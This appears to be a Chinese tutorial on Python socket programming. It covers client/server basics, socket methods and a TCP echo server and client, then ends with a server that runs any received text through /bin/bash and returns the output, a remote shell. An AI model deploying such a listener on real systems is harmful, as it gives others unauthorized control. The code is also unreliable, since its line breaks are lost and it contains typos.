一、C/S架构
什么是C/S架构
C : Client S : Server。客户机和服务器结构。
Server 唯一的目的就是等待Client 的请求,Client 连上 Server 发送必要的数据,然后等待Server端完成请求的反馈。
C/S网络编程
Server端进行设置,首先创建一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,只要创建一个通信端点,建立到服务器的连接,就可以提出请求了。
二、套接字 - 通信端点
套接字是一种具有之前所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字。
Python支持: AF_UNIX,AF_NETLINK和AF_INET,其中AF_INET是基于网络的套接字。
三、Python网络编程
Python网络编程- socket模块
socket模块的socket()函数用来创建套接字
使用socket.socket()函数来创建套接字,方法如下∶
socket(socket family,socket_type,protocol=0)
创建一个TCP/IP套接字,方法如下:
tcpsock = socket(socket.AF INET,socket.SOCK_STREAM)
四、套接字对象方法
服务端套接字函数 | |||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
函数 | 描述 | ||||||||||||||||||
s.bind() | 绑定地址(主机,端口)道套接字 | ||||||||||||||||||
s.listen() | 开始TCP监听 | ||||||||||||||||||
s.accept() | 被动接受TCP客户端连接,(阻塞式)等待连接的到来 |
客户端套接字函数 | |||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
函数 | 描述 | ||||||||||||||||||
s.connect() | 主动初始化TCP服务器连接 | ||||||||||||||||||
s.connect_ex() | Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常 |
套接字对象方法 | |||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
函数 | 描述 | ||||||||||||||||||
s.recv() | 接受TCP数据 | ||||||||||||||||||
s.send() | 发送TCP数据 | ||||||||||||||||||
s.sendall() | 完整发送TCP数据 | ||||||||||||||||||
s.recvfrom() | 接受UDP数据 | ||||||||||||||||||
s.sendto() | 发送UDP数据 | ||||||||||||||||||
s.getpeemame() | 连接到当前套接字的远端地址 | ||||||||||||||||||
s.getsockname() | 当前套接字的地址 | ||||||||||||||||||
s.getsockopt() | 返回指定套接字的参数 | ||||||||||||||||||
s.setsockopt() | 设置指定套接字的参数 | ||||||||||||||||||
s.close() | 关闭套接字 |
五、Python网络编程实例
1、创建一个TCP服务器
ss = socket() #创建服务器套接字
ss.bind() #把地址绑定到套接字上
ss.listen() #监听连接
inf loop; #服务器无限循环
cs = ss.accept() #接受客户端连接
cmmon loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字
2、创建一个TCP客户端
cs.socket() #创建客户端套接字
cs.connect() #尝试连接套接字
common loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字
示例一:
服务端代码:
#创建服务端
from socket import *
from time import ctimeHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环sc = ctime()+datatcpClient.send(sc.encode())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接
客户端代码:
#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭
将服务端代码放在kali中运行,将客户端代码放在物理机运行,成功运行
示例二:
实际应用不会这么简单,如果想反弹一个shell
服务端代码:
#创建服务端
from socket import *
from time import ctime
from subprocess import Popen,PIPEHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)tcpClient.send(cmd.stdout.read())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接
客户端代码:
#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭